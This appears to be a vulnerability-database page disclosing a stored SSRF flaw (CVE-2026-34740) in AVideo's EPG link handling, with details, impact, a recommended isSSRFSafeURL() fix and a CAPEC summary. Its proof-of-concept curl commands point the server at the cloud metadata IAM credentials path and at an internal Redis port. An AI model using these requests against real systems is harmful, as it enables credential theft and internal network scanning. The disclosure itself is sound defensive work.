      "type": "WEB",
      "url": "https://sourceforge.net/p/adminer/news/2021/02/adminer-479-released"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21311"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF in adminer"
}

GHSA-X5VX-VRPF-R45F

Vulnerability from github – Published: 2026-04-01 21:08 – Updated: 2026-04-01 21:08
VLAI
Summary
AVideo: Stored SSRF via Video EPG Link Missing isSSRFSafeURL() Validation
Details

Summary

The EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's FILTER_VALIDATE_URL, which accepts internal network addresses. Although AVideo has a dedicated isSSRFSafeURL() function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.

Details

When a user adds or edits a video, the EPG link is stored via objects/videoAddNew.json.php:119:

$obj->setEpg_link($_POST['epg_link']);

The only validation applied is FILTER_VALIDATE_URL, which accepts URLs targeting internal addresses such as http://127.0.0.1, http://169.254.169.254, or http://10.0.0.1.

Later, when the EPG data is parsed, the stored URL is fetched server-side at objects/EpgParser.php:358:

$this->content = @\file_get_contents($this->url);

The file_get_contents() function follows redirects and supports multiple protocols including http://, https://, ftp://, and depending on PHP configuration, php:// and other stream wrappers.

The codebase contains an isSSRFSafeURL() function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.

Because the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.

Proof of Concept

  1. Authenticate as a user with upload permissions.

  2. Create or edit a video and set the EPG link to an internal target:

# Target the cloud metadata service
curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -d "title=Test+Video&epg_link=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  1. Trigger the EPG parser by visiting the video's EPG page, or wait for the next page load that processes EPG data:
curl -b "PHPSESSID=USER_SESSION" \
  "https://your-avideo-instance.com/plugin/Live/view/Live_schedule/?videos_id=VIDEO_ID"
  1. To scan internal ports, set the EPG link to various internal addresses:
# Scan an internal service
curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -d "title=Test+Video&epg_link=http://127.0.0.1:6379/"
  1. The server fetches the URL via file_get_contents(). Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.

Impact

An authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.

  • CWE-918: Server-Side Request Forgery (SSRF)
  • Severity: Medium

Recommended Fix

Add an isSSRFSafeURL() check before the file_get_contents() call at objects/EpgParser.php:355:

if (function_exists('isSSRFSafeURL') && !isSSRFSafeURL($this->url)) {
    throw new \RuntimeException('URL blocked by SSRF protection');
}

This reuses the existing SSRF protection function that is already applied in other code paths.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:08:40Z",
    "nvd_published_at": "2026-03-31T21:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP\u0027s `FILTER_VALIDATE_URL`, which accepts internal network addresses. Although AVideo has a dedicated `isSSRFSafeURL()` function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.\n\n## Details\n\nWhen a user adds or edits a video, the EPG link is stored via `objects/videoAddNew.json.php:119`:\n\n```php\n$obj-\u003esetEpg_link($_POST[\u0027epg_link\u0027]);\n```\n\nThe only validation applied is `FILTER_VALIDATE_URL`, which accepts URLs targeting internal addresses such as `http://127.0.0.1`, `http://169.254.169.254`, or `http://10.0.0.1`.\n\nLater, when the EPG data is parsed, the stored URL is fetched server-side at `objects/EpgParser.php:358`:\n\n```php\n$this-\u003econtent = @\\file_get_contents($this-\u003eurl);\n```\n\nThe `file_get_contents()` function follows redirects and supports multiple protocols including `http://`, `https://`, `ftp://`, and depending on PHP configuration, `php://` and other stream wrappers.\n\nThe codebase contains an `isSSRFSafeURL()` function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.\n\nBecause the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.\n\n## Proof of Concept\n\n1. Authenticate as a user with upload permissions.\n\n2. Create or edit a video and set the EPG link to an internal target:\n\n```bash\n# Target the cloud metadata service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n  -d \"title=Test+Video\u0026epg_link=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n3. Trigger the EPG parser by visiting the video\u0027s EPG page, or wait for the next page load that processes EPG data:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n  \"https://your-avideo-instance.com/plugin/Live/view/Live_schedule/?videos_id=VIDEO_ID\"\n```\n\n4. To scan internal ports, set the EPG link to various internal addresses:\n\n```bash\n# Scan an internal service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n  -d \"title=Test+Video\u0026epg_link=http://127.0.0.1:6379/\"\n```\n\n5. The server fetches the URL via `file_get_contents()`. Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.\n\n## Impact\n\nAn authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an `isSSRFSafeURL()` check before the `file_get_contents()` call at `objects/EpgParser.php:355`:\n\n```php\nif (function_exists(\u0027isSSRFSafeURL\u0027) \u0026\u0026 !isSSRFSafeURL($this-\u003eurl)) {\n    throw new \\RuntimeException(\u0027URL blocked by SSRF protection\u0027);\n}\n```\n\nThis reuses the existing SSRF protection function that is already applied in other code paths.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-x5vx-vrpf-r45f",
  "modified": "2026-04-01T21:08:40Z",
  "published": "2026-04-01T21:08:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x5vx-vrpf-r45f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/677d1a314d46abce457c7b662afbb58b0d9f17a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Stored SSRF via Video EPG Link Missing isSSRFSafeURL() Validation"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.